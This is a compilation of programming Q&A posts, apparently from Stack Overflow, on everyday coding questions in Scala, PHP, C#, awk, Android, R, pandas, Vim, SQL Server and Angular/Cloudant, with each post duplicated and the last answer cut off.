I have the following trait:

```<code>trait F{
   type T
}
</code>```

and

```<code>trait C[T]{
   def getF: F{ type T = //I want the outer T}
}
</code>```

Is there a way to refer to the generic type argument without introducing helper type variable and renaming the type parameter?

答:
It seems like in Dotty you can do so (see http://dotty.epfl.ch/docs/internals/higher-kinded-v2.html) :

```<code>trait C[type T]{ self =>
   def getF: F{ type T = self.T }
}
</code>```

Otherwise for the current scala version I don't know if it is feasible to do better than introducing an helper type variable:

```<code>trait C[T]{
   type A = T
   def getF: F{ type T = A }
}
</code>```

Title: Generic type argument

Body:
I have the following trait:

trait F{
   type T
}

and

trait C[T]{
   def getF: F{ type T = //I want the outer T}
}

Is there a way to refer to the generic type argument without introducing helper type variable and renaming the type parameter?

Body:
It seems like in Dotty you can do so (see http://dotty.epfl.ch/docs/internals/higher-kinded-v2.html) :

trait C[type T]{ self =>
   def getF: F{ type T = self.T }
}

Otherwise for the current scala version I don't know if it is feasible to do better than introducing an helper type variable:

trait C[T]{
   type A = T
   def getF: F{ type T = A }
}


问:
Convert nested array to json in PHP without additional coding
I want to convert my array to a Json String and use it for send message using Firebase Cloud Messaging Server.

My array is :

```<code>$data = array(
                "to" => "cMbucIFcJMA:APA91bH_Wq0sPrMhTmhJ9gPJX7GUsRo...",
                "notification" =>
                    array(
                        "body" => "sadeq",
                        "title" => "test notification"
                    )
                );
</code>```

and when I use json_encode($data) my back String is:

{"to":"cMbucIFcJMA:APA91bH_Wq0sPr.... \n","notification":"Array"}

how can I convert this array to valid Json without have Array in my notification String???

My completely function is:

```<code>public function SendFromPost(){

                $data = array(
                    "to" => "cMbucIFcJMA:APA91bH_..... ",
                     "notification" =>
                    array(
                        "body" => "sadeq",
                        "title" => "test notification"
                    )
                );

                  $ch = curl_init();
                  curl_setopt($ch , CURLOPT_URL , "https://fcm.googleapis.com/fcm/send");
                  curl_setopt($ch , CURLOPT_POST , 1);
                  curl_setopt($ch , CURLOPT_POSTFIELDS , $data );
                  curl_setopt($ch , CURLOPT_RETURNTRANSFER , true);

                      $headers = [
                        'Content-Type: application/json \n',
                        'Authorization: key=AIzaS.......'
                      ];

                  curl_setopt($ch , CURLOPT_HTTPHEADER , $headers);

                  $server_output = curl_exec($ch);
                  curl_close($ch);

                 return var_dump(json_encode($data));

            }
</code>```

My code is correct. but I don't know why my php do like this.

答:
Your code works. You've got an extra ; that isn't valid after your nested array.

```<code><?php
$data = array(
                    "to" => "cMbucIFcJMA:APA91bH_Wq0sPrMhTmhJ9gPJX7GUsRo...",
                    "notification" =>
                        array(
                            "body" => "sadeq",
                            "title" => "test notification"
                        )
                    );

var_dump(json_encode($data));
</code>```

Yields

```<code>string(115) "{"to":"cMbucIFcJMA:APA91bH_Wq0sPrMhTmhJ9gPJX7GUsRo...","notification":{"body":"sadeq","title":"test notification"}}"
</code>```

Body:
I want to convert my array to a Json String and use it for send message using Firebase Cloud Messaging Server.

My array is :

$data = array(
                "to" => "cMbucIFcJMA:APA91bH_Wq0sPrMhTmhJ9gPJX7GUsRo...",
                "notification" =>
                    array(
                        "body" => "sadeq",
                        "title" => "test notification"
                    )
                );

and when I use json_encode($data) my back String is:

{"to":"cMbucIFcJMA:APA91bH_Wq0sPr.... \n","notification":"Array"}

how can I convert this array to valid Json without have Array in my notification String???

My completely function is:

public function SendFromPost(){

                $data = array(
                    "to" => "cMbucIFcJMA:APA91bH_..... ",
                     "notification" =>
                    array(
                        "body" => "sadeq",
                        "title" => "test notification"
                    )
                );

                  $ch = curl_init();
                  curl_setopt($ch , CURLOPT_URL , "https://fcm.googleapis.com/fcm/send");
                  curl_setopt($ch , CURLOPT_POST , 1);
                  curl_setopt($ch , CURLOPT_POSTFIELDS , $data );
                  curl_setopt($ch , CURLOPT_RETURNTRANSFER , true);

                      $headers = [
                        'Content-Type: application/json \n',
                        'Authorization: key=AIzaS.......'
                      ];

                  curl_setopt($ch , CURLOPT_HTTPHEADER , $headers);

                  $server_output = curl_exec($ch);
                  curl_close($ch);

                 return var_dump(json_encode($data));

            }

My code is correct. but I don't know why my php do like this.

Body:
Your code works. You've got an extra ; that isn't valid after your nested array.

<?php
$data = array(
                    "to" => "cMbucIFcJMA:APA91bH_Wq0sPrMhTmhJ9gPJX7GUsRo...",
                    "notification" =>
                        array(
                            "body" => "sadeq",
                            "title" => "test notification"
                        )
                    );

var_dump(json_encode($data));

Yields

string(115) "{"to":"cMbucIFcJMA:APA91bH_Wq0sPrMhTmhJ9gPJX7GUsRo...","notification":{"body":"sadeq","title":"test notification"}}"


问:
Remove \r from string
I have some Html in string I have tried utmost to remove \r many times but fails.</p>

```<code>text.Replace("\r\n", "").Replace("\r", "").Replace("\n", "");
</code>```

答:
You're close:

```<code>text = text.Replace("\r\n", "").Replace("\r", "").Replace("\n", "");
</code>```

You have to assign the result of the .Replace operation back to the string itself (or another one).  Otherwise the result goes nowhere.

Title: Remove \r from string

Body:
I have some Html in string I have tried utmost to remove \r many times but fails.

text.Replace("\r\n", "").Replace("\r", "").Replace("\n", "");

Body:
You're close:

text = text.Replace("\r\n", "").Replace("\r", "").Replace("\n", "");

You have to assign the result of the .Replace operation back to the string itself (or another one).  Otherwise the result goes nowhere.


问:
Retrieve the expiry time of certificates in PEM format
I have a requirement to inform customers that their certificate is going to expire in some days so renew before that time work TLS encryption to work as expected.

How do I retrieve the expiry time of certificates in PEM format?

答:
Copy the content of the PEM certificate to this site and it will display the ssl certificate details including start and expiration dates

https://www.sslshopper.com/certificate-decoder.html


问:
EmguCV - Mat.Data array is always null after image loading
When I am trying to read image from file, then after load Mat.Data array is alway null. But when I am looking into Mat object during debug there is byte array in which are all data from image.

```<code>Mat image1 = CvInvoke.Imread("minion.bmp", Emgu.CV.CvEnum.LoadImageType.AnyDepth);
</code>```

Do you have any idea why?

答:
I recognize this question is super old, but I hit the same issue and I suspect the answer lies in the Emgu wiki. Specifically:

Accessing the pixels from Mat

Unlike the Image<,> class, where memory are pre-allocated and fixed, the memory of Mat can be automatically re-allocated by Open CV function calls. We cannot > pre-allocate managed memory and assume the same memory are used through the life time of the Mat object. As a result, Mat class do not contains a Data > property like the Image<,> class, where the pixels can be access through a managed array. To access the data of the Mat, there are a few possible choices.
  The easy way and safe way that cost an additional memory copy

The first option is to copy the Mat to an Image<,> object using the Mat.ToImage function. e.g.

Image<Bgr, Byte> img = mat.ToImage<Bgr, Byte>();

The pixel data can then be accessed using the Image<,>.Data property.

You can also convert the Mat to an Matrix<> object. Assuming the Mat contains 8-bit data,

```<code>Matrix<Byte> matrix = new Matrix<Byte>(mat.Rows, mat.Cols, mat.NumberOfChannels);
mat.CopyTo(matrix);
</code>```

Note that you should create Matrix<> with a matching type to the Mat object. If the Mat contains 32-bit floating point value, you should replace Matrix in the above code with Matrix. The pixel data can then be accessed using the Matrix<>.Data property.
  The fastest way with no memory copy required. Be caution!!!

The second option is a little bit tricky, but will provide the best performance. This will usually require you to know the size of the Mat object before it is created. So you can allocate managed data array, and create the Mat object by forcing it to use the pinned managed memory. e.g.

```<code>//load your 3 channel bgr image here
Mat m1 = ...;

//3 channel bgr image data, if it is single channel, the size should be m1.Width * m1.Height

byte[] data = new byte[m1.Width * m1.Height * 3];`
GCHandle handle = GCHandle.Alloc(data, GCHandleType.Pinned);`
using (Mat m2 = new Mat(m1.Size, DepthType.Cv8U, 3, handle.AddrOfPinnedObject(), m1.Width * 3))`
    CvInvoke.BitwiseNot(m1, m2);`
handle.Free();
</code>```

At this point the data array contains the pixel data of the inverted image. Note that if the Mat m2 was allocated with the wrong size, data[] array will contains all 0s, and no exception will be thrown. So be really careful when performing the above operations.

TL;DR: You can't use the Data object in the way you're hoping to (as of version 3.2 at least). You must copy it to another object which allows use of the Data object.

Body:
When I am trying to read image from file, then after load Mat.Data array is alway null. But when I am looking into Mat object during debug there is byte array in which are all data from image.

Mat image1 = CvInvoke.Imread("minion.bmp", Emgu.CV.CvEnum.LoadImageType.AnyDepth);

Do you have any idea why?

Body:
I recognize this question is super old, but I hit the same issue and I suspect the answer lies in the Emgu wiki. Specifically:

Accessing the pixels from Mat

Unlike the Image<,> class, where memory are pre-allocated and fixed, the memory of Mat can be automatically re-allocated by Open CV function calls. We cannot > pre-allocate managed memory and assume the same memory are used through the life time of the Mat object. As a result, Mat class do not contains a Data > property like the Image<,> class, where the pixels can be access through a managed array. To access the data of the Mat, there are a few possible choices.
  The easy way and safe way that cost an additional memory copy

The first option is to copy the Mat to an Image<,> object using the Mat.ToImage function. e.g.

Image<Bgr, Byte> img = mat.ToImage<Bgr, Byte>();

The pixel data can then be accessed using the Image<,>.Data property.

You can also convert the Mat to an Matrix<> object. Assuming the Mat contains 8-bit data,

Matrix<Byte> matrix = new Matrix<Byte>(mat.Rows, mat.Cols, mat.NumberOfChannels);
mat.CopyTo(matrix);

Note that you should create Matrix<> with a matching type to the Mat object. If the Mat contains 32-bit floating point value, you should replace Matrix in the above code with Matrix. The pixel data can then be accessed using the Matrix<>.Data property.
  The fastest way with no memory copy required. Be caution!!!

The second option is a little bit tricky, but will provide the best performance. This will usually require you to know the size of the Mat object before it is created. So you can allocate managed data array, and create the Mat object by forcing it to use the pinned managed memory. e.g.

//load your 3 channel bgr image here
Mat m1 = ...;

//3 channel bgr image data, if it is single channel, the size should be m1.Width * m1.Height

byte[] data = new byte[m1.Width * m1.Height * 3];`
GCHandle handle = GCHandle.Alloc(data, GCHandleType.Pinned);`
using (Mat m2 = new Mat(m1.Size, DepthType.Cv8U, 3, handle.AddrOfPinnedObject(), m1.Width * 3))`
    CvInvoke.BitwiseNot(m1, m2);`
handle.Free();

At this point the data array contains the pixel data of the inverted image. Note that if the Mat m2 was allocated with the wrong size, data[] array will contains all 0s, and no exception will be thrown. So be really careful when performing the above operations.

TL;DR: You can't use the Data object in the way you're hoping to (as of version 3.2 at least). You must copy it to another object which allows use of the Data object.


问:
informatica Datetime conversion to SQL server Timstamp
I have a requirement where I have to load Informatica SESSSTARTTIME(datetime) to SQL server timestamp. When I am trying to connect datetime to timestamp I am getting error incompatible data type.

Any suggestions how this can be achieved?

Thanks

答: I had a similar issue in the past, where the date column was not getting loaded because of the difference in precision of date/time used by Informatica and SQL server. You can try this workaround: Change the data type in the target definition (not in SQL Server table, only in Informatica Target definition) to String, then Informatica will pass the date/time value in quotes when firing the insert query, which SQL server can convert to date/time automatically.</p>


Title: how to use awk for extract a column with a determinate range

Body:
i have a file like this:

57580.87499999965802999   -2.01319509921268036e+00>

57580.91666666632227134   -2.00037110698185661e+00>

57580.95833333298651269    -1.98754711475190549e+00>

57580.99999999965075403    -1.97472312252219151e+00>

57581.04166666631499538    -1.95440667936783941e+00>

57581.08333333297923673    -1.94158268713747040e+00>

57581.12499999964347808    -1.92875869490721019e+00>

57581.16666666630771942    -1.91593470267662269e+00>

57581.20833333297196077    -1.89561825952250729e+00>

and i would like to use awk to print only the columns that start wit 57581

the code i wrote is

DATA=57581
DATA2=57582

awk '{ if ($1 >= $DATA'.00000000000000000' && $1 < $DATA2'.00000000000000000') print $1, $2 >> "file.txt"}' $filename

any idea?

thank you

Body:
This will do for you:

awk '/^57581/' file

-bash-4.2$ awk '/^57581/' file
57581.04166666631499538 -1.95440667936783941e+00>
57581.08333333297923673 -1.94158268713747040e+00>
57581.12499999964347808 -1.92875869490721019e+00>
57581.16666666630771942 -1.91593470267662269e+00>
57581.20833333297196077 -1.89561825952250729e+00>
-bash-4.2$

Awk pattern /^57581/ will search at the begining of the line, and the
  number you where looking for.

The, awk as usual will do the rest, because if the pattern is true, it will print the whole line.

EDIT
As suggested by @EdMorton, the OP says to print just the columns starting with 57581, then, the code for this should be:

 -bash-4.2$ awk '{for (a=1; a<NF; a++) { if (match($a, '/^57581/')==1){print $a}}}' file
57581.04166666631499538
57581.08333333297923673
57581.12499999964347808
57581.16666666630771942
57581.20833333297196077
-bash-4.2$

EDIT 2

As suggested, I added the code with a var loaded from Shell:

-bash-4.2$ export VAR=57581
-bash-4.2$  awk -v"myvar=$VAR" '{ for (a=1; a<NF; a++) {
regex="^"myvar""; if ($a ~  regex){print $a}}}' file
57581.04166666631499538
57581.08333333297923673
57581.12499999964347808
57581.16666666630771942
57581.20833333297196077
-bash-4.2$


问:
How to place imageView inside AutocompleteTextView
I am trying to align the ImageView inside the Autocomplete textView. I did this but the ImageView appears below the AutocomplteTextView. I changed the width of textView but same problem arises. I am looking for something like this:

Is there any way I can achieve this?

```<code><RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:id="@+id/relativeLayout"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    tools:context="com.kalpu.placepick.SearchFragment">

    <LinearLayout
        android:id="@+id/linearLayout"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:orientation="vertical">

        <AutoCompleteTextView
            android:id="@+id/acTextView1"
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:completionHint="From"
            android:dropDownHeight="match_parent"
            android:hint="From"
            android:visibility="visible"
            />
        <ImageView
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:id="@id/image"
            android:padding="5dp"
            android:layout_alignTop="@id/acTextView1"
            android:layout_alignBottom="@id/acTextView1"
            android:layout_alignRight="@id/acTextView1"
            android:src="@mipmap/ic_arrow_drop_down"

            />

        <AutoCompleteTextView
            android:id="@+id/acTextView2"
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:layout_below="@id/acTextView1"
            android:completionHint="From"
            android:dropDownHeight="match_parent"
            android:hint="Intermediate (Optional) "
            android:paddingTop="50dp"
            android:visibility="visible" />
        <ImageView
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:id="@id/image"
            android:padding="5dp"
            android:layout_alignTop="@id/acTextView2"
            android:layout_alignBottom="@id/acTextView2"
            android:layout_alignRight="@id/acTextView1"
            android:src="@mipmap/ic_arrow_drop_down"

            />
 </LinearLayout>
</RelativeLayout>
</code>```

答:
This is because you have placed the imageView below the AutoCompleteTextView in the xml. You will have to create a custom dropdown layout for images to appear in it.
You could check this library
https://github.com/koush/ion</p>

Body:
I am trying to align the ImageView inside the Autocomplete textView. I did this but the ImageView appears below the AutocomplteTextView. I changed the width of textView but same problem arises. I am looking for something like this:

Is there any way I can achieve this?

<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:id="@+id/relativeLayout"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    tools:context="com.kalpu.placepick.SearchFragment">

    <LinearLayout
        android:id="@+id/linearLayout"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:orientation="vertical">

        <AutoCompleteTextView
            android:id="@+id/acTextView1"
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:completionHint="From"
            android:dropDownHeight="match_parent"
            android:hint="From"
            android:visibility="visible"
            />
        <ImageView
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:id="@id/image"
            android:padding="5dp"
            android:layout_alignTop="@id/acTextView1"
            android:layout_alignBottom="@id/acTextView1"
            android:layout_alignRight="@id/acTextView1"
            android:src="@mipmap/ic_arrow_drop_down"

            />

        <AutoCompleteTextView
            android:id="@+id/acTextView2"
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:layout_below="@id/acTextView1"
            android:completionHint="From"
            android:dropDownHeight="match_parent"
            android:hint="Intermediate (Optional) "
            android:paddingTop="50dp"
            android:visibility="visible" />
        <ImageView
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:id="@id/image"
            android:padding="5dp"
            android:layout_alignTop="@id/acTextView2"
            android:layout_alignBottom="@id/acTextView2"
            android:layout_alignRight="@id/acTextView1"
            android:src="@mipmap/ic_arrow_drop_down"

            />
 </LinearLayout>
</RelativeLayout>


答: text.Replace returns the newly modified string.  It does not change the string it is operating against.  So make sure you are capturing the return value.

Title: Remove \r from string


问:
Replace a subset of a data frame with dplyr join operations
Suppose that I gave a treatment to some column values of a data frame like this:

```<code>  id animal weight   height ...
  1    dog     23.0
  2    cat     NA
  3   duck     1.2
  4  fairy     0.2
  5  snake     BAD

df <- data.frame(id = seq(1:5),
             animal = c("dog", "cat", "duck", "fairy", "snake"),
             weight = c("23", NA, "1.2", "0.2",  "BAD"))
</code>```

Suppose that the treatment require to work in a separately table, and gave as the result, the following data frame that is a subset of the original:

```<code>  id animal weight
  2    cat    2.2
  5  snake    1.3

sub_df <- data.frame(id = c(2, 5),
             animal = c("cat", "snake"),
             weight = c("2.2", "1.3"))
</code>```

Now I want to put all together again, so I use an operation like this:

```<code>> df %>%
   anti_join(sub_df, by = c("id", "animal")) %>%
   bind_rows(sub_df)

 id animal weight
 4  fairy    0.2
 1    dog   23.0
 3   duck    1.2
 2    cat    2.2
 5  snake    1.3
</code>```

Exist some way to do this directly with join operations?

In the case that the subset is just the key column and the variable subject to give a treatment (id, animal weigth) and not the total variables of the original data frame (id, animal, weight, height), how could assemble the subset with the original set?

答:
What you describe is a join operation in which you update some values in the original dataset. This is very easy to do with great performance using data.table because of its fast joins and update-by-reference concept (:=).

Here's an example for your toy data:

```<code>library(data.table)
setDT(df)             # convert to data.table without copy
setDT(sub_df)         # convert to data.table without copy

# join and update "df" by reference, i.e. without copy
df[sub_df, on = c("id", "animal"), weight := i.weight]
</code>```

The data is now updated:

```<code>#   id animal weight
#1:  1    dog   23.0
#2:  2    cat    2.2
#3:  3   duck    1.2
#4:  4  fairy    0.2
#5:  5  snake    1.3
</code>```

You can use setDF to switch back to ordinary data.frame.

Body:
Suppose that I gave a treatment to some column values of a data frame like this:

  id animal weight   height ...
  1    dog     23.0
  2    cat     NA
  3   duck     1.2
  4  fairy     0.2
  5  snake     BAD

df <- data.frame(id = seq(1:5),
             animal = c("dog", "cat", "duck", "fairy", "snake"),
             weight = c("23", NA, "1.2", "0.2",  "BAD"))

Suppose that the treatment require to work in a separately table, and gave as the result, the following data frame that is a subset of the original:

  id animal weight
  2    cat    2.2
  5  snake    1.3

sub_df <- data.frame(id = c(2, 5),
             animal = c("cat", "snake"),
             weight = c("2.2", "1.3"))

Now I want to put all together again, so I use an operation like this:

> df %>%
   anti_join(sub_df, by = c("id", "animal")) %>%
   bind_rows(sub_df)

 id animal weight
 4  fairy    0.2
 1    dog   23.0
 3   duck    1.2
 2    cat    2.2
 5  snake    1.3

Exist some way to do this directly with join operations?

In the case that the subset is just the key column and the variable subject to give a treatment (id, animal weigth) and not the total variables of the original data frame (id, animal, weight, height), how could assemble the subset with the original set?

Body:
What you describe is a join operation in which you update some values in the original dataset. This is very easy to do with great performance using data.table because of its fast joins and update-by-reference concept (:=).

Here's an example for your toy data:

library(data.table)
setDT(df)             # convert to data.table without copy
setDT(sub_df)         # convert to data.table without copy

# join and update "df" by reference, i.e. without copy
df[sub_df, on = c("id", "animal"), weight := i.weight]

The data is now updated:

#   id animal weight
#1:  1    dog   23.0
#2:  2    cat    2.2
#3:  3   duck    1.2
#4:  4  fairy    0.2
#5:  5  snake    1.3

You can use setDF to switch back to ordinary data.frame.


问:
Is there a way to return multiple html files in Google App Scripts using one doGet() function?
I have html files that have pie charts for the months January through march. i.e. a January Html file, February html file, etc. Is there a way to return all those html files using one doGet() function or is this not possible? </p>

答:
You could keep the files separate but you would have to concatenate them all into one before they could be served by the doGet():</p>

```<code><< Code.gs >>

function doGet() {
  return HtmlService.createTemplateFromFile('Index').evaluate()
}

function include(filename) {
  return HtmlService.createHtmlOutputFromFile(filename).getContent()
}

<< Index.html >>
.
.
.
<?!= include('file1.html') ?>
<?!= include('file2.html') ?>
<?!= include('file3.html') ?>
.
.
.
</code>```

Body:
You could keep the files separate but you would have to concatenate them all into one before they could be served by the doGet():

<< Code.gs >>

function doGet() {
  return HtmlService.createTemplateFromFile('Index').evaluate()
}

function include(filename) {
  return HtmlService.createHtmlOutputFromFile(filename).getContent()
}

<< Index.html >>
.
.
.
<?!= include('file1.html') ?>
<?!= include('file2.html') ?>
<?!= include('file3.html') ?>
.
.
.


问:
Pandas df.values does not return index values
I have a multi-indexed table that I want to convert to a list.

Table: (Index Columns - 'adsh', 'report', 'line')

```<code>                                 stmt  inpth rfile                     tag  \
adsh                 report line
0000804753-17-000004 2      20     BS      0     H  AccountsPayableCurrent
0000215466-17-000058 5      19     BS      0     H  AccountsPayableCurrent
0001477932-17-000685 2      10     BS      0     H  AccountsPayableCurrent
0001554795-17-000056 2      11     BS      0     H  AccountsPayableCurrent
0001558370-17-000547 3      19     BS      0     H  AccountsPayableCurrent
</code>```

Input:

```<code>df.values
</code>```

Output:

```<code>array([['BS', 0, 'H', 'AccountsPayableCurrent', 'us-gaap/2015',
    'Accounts payable'],
   ['BS', 0, 'H', 'AccountsPayableCurrent', 'us-gaap/2015',
    'Accounts payable'],
   ['BS', 0, 'H', 'AccountsPayableCurrent', 'us-gaap/2015',
    'Accounts payable'],
   ['BS', 0, 'H', 'AccountsPayableCurrent', 'us-gaap/2015',
    'Accounts payable'],
   ['BS', 0, 'H', 'AccountsPayableCurrent', 'us-gaap/2015',
    'Accounts payable']], dtype=object)
</code>```

I know that I can run df.index.values to get a list of the index values as well, but what I want is the index values and column values in a single list. What is the best way to accomplish this?

答:
Here's another way (no idea how efficient this is):</p>

```<code>df
    a
0   1
1   3
2   5
3   7
4   7
5  34
6   3
7  24

np.append(np.expand_dims(df.index.values, axis=0), np.expand_dims(df.a.values, axis=0), axis=0).T
array([[ 0,  1],
       [ 1,  3],
       [ 2,  5],
       [ 3,  7],
       [ 4,  7],
       [ 5, 34],
       [ 6,  3],
       [ 7, 24]], dtype=int64)
</code>```

Body:
I have a multi-indexed table that I want to convert to a list.

Table: (Index Columns - 'adsh', 'report', 'line')

                                 stmt  inpth rfile                     tag  \
adsh                 report line
0000804753-17-000004 2      20     BS      0     H  AccountsPayableCurrent
0000215466-17-000058 5      19     BS      0     H  AccountsPayableCurrent
0001477932-17-000685 2      10     BS      0     H  AccountsPayableCurrent
0001554795-17-000056 2      11     BS      0     H  AccountsPayableCurrent
0001558370-17-000547 3      19     BS      0     H  AccountsPayableCurrent

Input:

df.values

Output:

array([['BS', 0, 'H', 'AccountsPayableCurrent', 'us-gaap/2015',
    'Accounts payable'],
   ['BS', 0, 'H', 'AccountsPayableCurrent', 'us-gaap/2015',
    'Accounts payable'],
   ['BS', 0, 'H', 'AccountsPayableCurrent', 'us-gaap/2015',
    'Accounts payable'],
   ['BS', 0, 'H', 'AccountsPayableCurrent', 'us-gaap/2015',
    'Accounts payable'],
   ['BS', 0, 'H', 'AccountsPayableCurrent', 'us-gaap/2015',
    'Accounts payable']], dtype=object)

I know that I can run df.index.values to get a list of the index values as well, but what I want is the index values and column values in a single list. What is the best way to accomplish this?

Body:
Here's another way (no idea how efficient this is):

df
    a
0   1
1   3
2   5
3   7
4   7
5  34
6   3
7  24

np.append(np.expand_dims(df.index.values, axis=0), np.expand_dims(df.a.values, axis=0), axis=0).T
array([[ 0,  1],
       [ 1,  3],
       [ 2,  5],
       [ 3,  7],
       [ 4,  7],
       [ 5, 34],
       [ 6,  3],
       [ 7, 24]], dtype=int64)


问:
Is there any difference between hjkl and arrow keys?
Besides their position and hand movement required, is there any difference between using hjkl and the arrow keys? Can I use either one interchangeably and expect the same behavior? The only difference I can think of is that the arrow keys work in insert mode so you save strokes if you need to move 1-2 chars.

Note: I use an alternate keyboard layout and the hjkl keys are mixed up. I have a programmable layer on my keyboard and wondering whether it should have hjkl or the arrow keys. I'd prefer to use the arrow keys since they can be used in all programs.

答:
Arrow keys vs. h,j,k,l

You are correct in your assessment. They are equivalent, except that the arrow keys also work in insert mode.

(The same is true in a couple of other places, for instance you can use left/right arrows to move around within a command or search/replace you are typing, but you cannot use hjkl for movement in those cases.)

There is one other difference, I suppose - since they are separate keys, they can be mapped to separate things. So if you remap h for instance,  it would not affect the function of <Left>, and vice-versa.

Other keys

You asked about some other keys in the comments.

X - Bkspc, x - Delete, 0 - Home, $ - End, R - Insert

Some are equivalent, but not all of these.

x, X, backspace, delete

x and  are equivalent, and even share the exact same node in the help text. Both of them delete characters under and after the cursor.

X and <BS> both delete characters to the left of the cursor. But in different modes: X does so in normal mode, and <BS> does so in insert mode. If you are in normal mode, <BS> just goes backward by one character without changing the text (so it behaves like h).

0, $, Home, End

These are interchangeable.

R, Insert

These do not do the same thing. <Insert> works like i, and inserts. R enters insert mode, but in a special way where it overwrites characters rather than inserting before them.

Body:
Arrow keys vs. h,j,k,l

You are correct in your assessment. They are equivalent, except that the arrow keys also work in insert mode.

(The same is true in a couple of other places, for instance you can use left/right arrows to move around within a command or search/replace you are typing, but you cannot use hjkl for movement in those cases.)

There is one other difference, I suppose - since they are separate keys, they can be mapped to separate things. So if you remap h for instance,  it would not affect the function of <Left>, and vice-versa.

Other keys

You asked about some other keys in the comments.

X - Bkspc, x - Delete, 0 - Home, $ - End, R - Insert

Some are equivalent, but not all of these.

x, X, backspace, delete

x and <Del> are equivalent, and even share the exact same node in the help text. Both of them delete characters under and after the cursor.

X and <BS> both delete characters to the left of the cursor. But in different modes: X does so in normal mode, and <BS> does so in insert mode. If you are in normal mode, <BS> just goes backward by one character without changing the text (so it behaves like h).

0, $, Home, End

These are interchangeable.

R, Insert

These do not do the same thing. <Insert> works like i, and inserts. R enters insert mode, but in a special way where it overwrites characters rather than inserting before them.


答:
```<code>str = str.Replace("\\\\r","").Replace("\\\\n","");
</code>```

you probably need to use an escape character

Title: Remove \r from string

Body:
str = str.Replace("\\\\r","").Replace("\\\\n","");

you probably need to use an escape character


问:
SQL Server Select LIKE Regex Equivalent to '?' or '\\s*'
I have a short question is there an equivalent to ? in SQL Server SELECT LIKE regex?

I try to select data from table in SQL Server 2012. Example data from column

```<code>...
<SOMETHING>
    <UNINTERESTING>test</UNINTERESTING>
    <INTERESTING>searchedString</INTERESTING>
    <SOMEMORE>
       <PROBLEMHERE>searchedString</PROBLEMHERE>
    </SOMEMORE>
...
</code>```

or

```<code>...
<SOMETHING>
    <UNINTERESSTING>test</UNINTERESSTING>
    <INTERESING>searchedString but nevertheless wrong</INTERESTING>
    <SOMEMORE>
       <PROBLEMHERE>searchedString</PROBLEMHERE>
    </SOMEMORE>
...
</code>```

I can select these with

```<code>LIKE '%<INTERESING>searchedString</INTERESTING>%'
</code>```

everything works fine, but it is possible that the value between <INTERESTING> ends sometimes with one or more spaces

e.g.

```<code><INTERESING>searchedString </INTERESTING>
<INTERESING>searchedString         </INTERESTING>
</code>```

If I try to select with %, then I got rows, where the search string is found but not between interesting, or between two interestings, or I get the wrong rows like

```<code><INTERESING>searchedString but nevertheless wrong</INTERESTING>
</code>```

I tried to select with _, %, [ ] but nothing of them get me the correct rows.

Is there an equivalent in SQL Server LIKE regex for ? (none or one-time)
or anything like \s* (whitespaces, can be none, one or more-times)

Thanks in advance

best regards

答:
Is there an equivalent in SQL Like Regex

No. You should use SQL Server's XQuery to parse the XML and extract the XML Element values, and then use LIKE for examining the element value.

Body:
I have a short question is there an equivalent to ? in SQL Server SELECT LIKE regex?

I try to select data from table in SQL Server 2012. Example data from column

...
<SOMETHING>
    <UNINTERESTING>test</UNINTERESTING>
    <INTERESTING>searchedString</INTERESTING>
    <SOMEMORE>
       <PROBLEMHERE>searchedString</PROBLEMHERE>
    </SOMEMORE>
...

or

...
<SOMETHING>
    <UNINTERESSTING>test</UNINTERESSTING>
    <INTERESING>searchedString but nevertheless wrong</INTERESTING>
    <SOMEMORE>
       <PROBLEMHERE>searchedString</PROBLEMHERE>
    </SOMEMORE>
...

I can select these with

LIKE '%<INTERESING>searchedString</INTERESTING>%'

everything works fine, but it is possible that the value between <INTERESTING> ends sometimes with one or more spaces

e.g.

<INTERESING>searchedString </INTERESTING>
<INTERESING>searchedString         </INTERESTING>

If I try to select with %, then I got rows, where the search string is found but not between interesting, or between two interestings, or I get the wrong rows like

<INTERESING>searchedString but nevertheless wrong</INTERESTING>

I tried to select with _, %, [ ] but nothing of them get me the correct rows.

Is there an equivalent in SQL Server LIKE regex for ? (none or one-time)
or anything like \s* (whitespaces, can be none, one or more-times)

Thanks in advance

best regards


问:
Pure Angular Cloudant connection
Iam trying to connect to my cloudant using just angular. The first post is successful and I am able to retrive a document/view from the cloudant with the first get method.

But when I do a successive post method I am getting a 401 unauthorised error message. Could someone please explain me what error I am doing here. Please reply in detail as I am newbie with angular and cloudant (RESTful arch)

```<code>var app = angular.module('myApp', []);
const ACCOUNTNAME = 'my acc';
const APIKEY = 'my key';
const APIPASSWORD = 'my pass';
const DATABASE = 'my db';
var cloudantDoc = 'link of document to update';

app.controller('tutorialCtrl', function($scope, $http) {
//Authentication header settings
var req = {
    method: 'POST',
    url: 'https://'+ACCOUNTNAME+'.cloudant.com/_session',
    headers: {
        'Content-Type': 'application/x-www-form-urlencoded'
    },
    data: 'name='+APIKEY+'&password='+APIPASSWORD,
    withCredentials: true
}

$http(req).then(function(result){
                    //Grab data
                    req = {
                        method: 'GET',
                        url: 'https://'+ACCOUNTNAME+'.cloudant.com/'+DATABASE+'/_design/AllClients/_view/AllClients',
                        withCredentials: true

                    }

                    $http(req).then(function(result){
                                        $scope.tableData = result.data;
                                        console.log(result);
                                    },
                                    function(){
                                        console.log("Failed at grabbing data");
                                    });

                },
                function(){
                    console.log('Failed at authenticating');
                }
);

$scope.revisionNumNews;

    $http.post(cloudantDoc, JSON.stringify({"_id": "CLient1", "Client_Name":"ABC", "_rev": ""})).success(function(response){
                revisionNumNews = response.rev;

            });
</code>```

答:
in your code you have var cloudantDoc = 'link of document to update', if you are trying to update an existing document you will need to make a PUT request instead of a POST. in any case, your request should include the {withCredentials: true} option.

if you are trying to create a new document try changing your POST request to something like this:

